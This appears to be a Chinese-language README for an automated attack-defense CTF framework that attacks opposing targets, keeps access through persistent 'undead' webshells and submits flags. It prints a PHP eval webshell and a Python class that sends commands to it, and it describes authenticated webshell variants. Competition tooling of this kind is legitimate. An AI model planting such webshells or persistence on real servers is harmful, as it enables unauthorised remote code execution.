Enable you capture more flag!
- 自动攻击其他靶机
- 自动维持权限
- 自动提交flag
框架首先加载配置文件,然后启动四个线程,自动完成加载攻击方法、提交flag、执行攻击方法、维持权限等功能。 攻击函数会根据题目数量创建对应数量的线程,实现并发,攻击方法则由用户比赛时拓展,框架将自动加载新的方法并进行攻击。 提交flag函数从一个消息队列中读取并提交,与攻击流程分离,不干扰攻击流程。 维持权限主要通过写不死马的形式实现。
框架抽象出两个类,分别为webshell类和攻击方法exp类。
webshell类抽象了webshell的使用,定义了两类webshell的基类(执行系统命令的webshell和执行php代码的webshell),基类实现了写文件、查看状态、获取flag等方法。
class EvalShellBase():
def getflag(self):
...
def write(self,path,content):
...
def status(self):
..
class SystemShellBase():
#同上
而具体的webshell基类需要用实现如下内容。
class Shell4(EvalShellBase):
CONTENT = '<?php eval($_POST[1]);?>' #webshell的代码
def __init__(self,url): #webshell的构造方法,根据需要来初始化webshell的url、method、password等参数
self.url = url
def run(self,code): #使用webshell执行命令的抽象,输入系统命令或者php代码,返回执行结果。
return request.post(url=self.url+'?pops=www.nwpu.edu.cn',data={"1":code}).text
目前框架实现了四个webshell:
- shell1 使用rsa验证时间戳,可以有效防止别人上车,需要靶机环境开启openssl拓展。(推荐)
- shell2 使用md5验证身份,容易被上车。
- shell3 shell4最简单的eval和system webshell
exp类由使用者在比赛中拓展,实现attack方法。该方法输入参数为靶机的ip:port
,输出参数为webshell(使用框架内置的webshell类)或flag。
attack方法内需要用户完成getshell或getflag两者之一,比如通过任意文件上传写shell或通过任意文件读读取flag等等。
将实现类文件放入attack/题目名称/
文件夹内即可自动加载。
pip install -r requirements.txt #安装拓展
vim lib/config.py #根据比赛环境修改配置
python3 main.py #启动框架
cp /home/attack1.py ./attack/web1/ #添加攻击类
另外由于作者技术有限,程序难免有很多bug,还请诸位给予包容。